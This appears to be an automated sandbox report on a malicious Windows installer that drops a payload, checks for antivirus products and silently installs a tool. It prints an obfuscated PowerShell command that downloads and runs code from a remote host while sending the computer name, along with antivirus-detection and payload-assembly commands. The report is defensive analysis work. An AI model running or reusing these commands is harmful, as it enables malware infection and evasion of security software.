Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.faststone.org/order.htmU
Source: MFL715GTQ6VLUD404.exe, 00000013.00000003.2563482641.000000007EE4B000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe, 00000013.00000003.2560390532.0000000002B0F000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000000.2566282933.0000000001001000.00000020.00000001.01000000.0000000B.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000000.2587508233.000000000115D000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: MFL715GTQ6VLUD404.exe, 00000013.00000003.2563482641.000000007EE4B000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe, 00000013.00000003.2560390532.0000000002B0F000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000000.2566282933.0000000001001000.00000020.00000001.01000000.0000000B.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000000.2587508233.000000000115D000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.remobjects.com/ps
Source: installer_1.05_36.4.exe	String found in binary or memory: https://www.ssl.com/repository0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49752 version: TLS 1.2

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: Yara match

File source: Process Memory Space: vsv_tool.exe PID: 5144, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

Code function: 49_2_005B51EB NtQuerySystemInformation,

49_2_005B51EB

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	File created: C:\Windows\NextelConjunction	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	File created: C:\Windows\ConsistingAchieved	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	File created: C:\Windows\WavBooks	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	File created: C:\Windows\ZealandCluster	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	File created: C:\Windows\ExperiencedPj	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	File created: C:\Windows\SinglesAmazon	Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 49_2_005B3838	49_2_005B3838

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: String function: 004062CF appears 57 times

Source: installer_1.05_36.4.exe

Static PE information: invalid certificate

Source: MFL715GTQ6VLUD404.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: MFL715GTQ6VLUD404.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: MFL715GTQ6VLUD404.tmp.19.dr	Static PE information: Number of sections : 11 > 10
Source: MFL715GTQ6VLUD404.exe.11.dr	Static PE information: Number of sections : 11 > 10
Source: MFL715GTQ6VLUD404.tmp.21.dr	Static PE information: Number of sections : 11 > 10

Source: installer_1.05_36.4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@82/34@5/3

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

0_2_004044D1

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp

File created: C:\Users\user\AppData\Roaming\UltraMedia

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5408:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2472:120:WilError_03
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Mutant created: \Sessions\1\BaseNamedObjects\FSCapture
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

File created: C:\Users\user\AppData\Local\Temp\nsiF272.tmp

Jump to behavior

Source: installer_1.05_36.4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: installer_1.05_36.4.exe	ReversingLabs: Detection: 13%
Source: installer_1.05_36.4.exe	Virustotal: Detection: 26%

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

File read: C:\Users\user\Desktop\installer_1.05_36.4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\installer_1.05_36.4.exe "C:\Users\user\Desktop\installer_1.05_36.4.exe"
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Expected Expected.cmd & Expected.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 709182
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Bet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "brandon" M
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Effective + ..\Certificates + ..\Stones + ..\Harder + ..\Planners + ..\Suppose N
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com Lightweight.com N
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe "C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe"
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Process created: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp "C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$40478,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe"
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe "C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Process created: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp "C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$5029A,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Expected Expected.cmd & Expected.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 709182	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Bet	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "brandon" M	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Effective + ..\Certificates + ..\Stones + ..\Harder + ..\Planners + ..\Suppose N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com Lightweight.com N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe "C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Process created: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp "C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$40478,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe "C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Process created: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp "C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$5029A,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
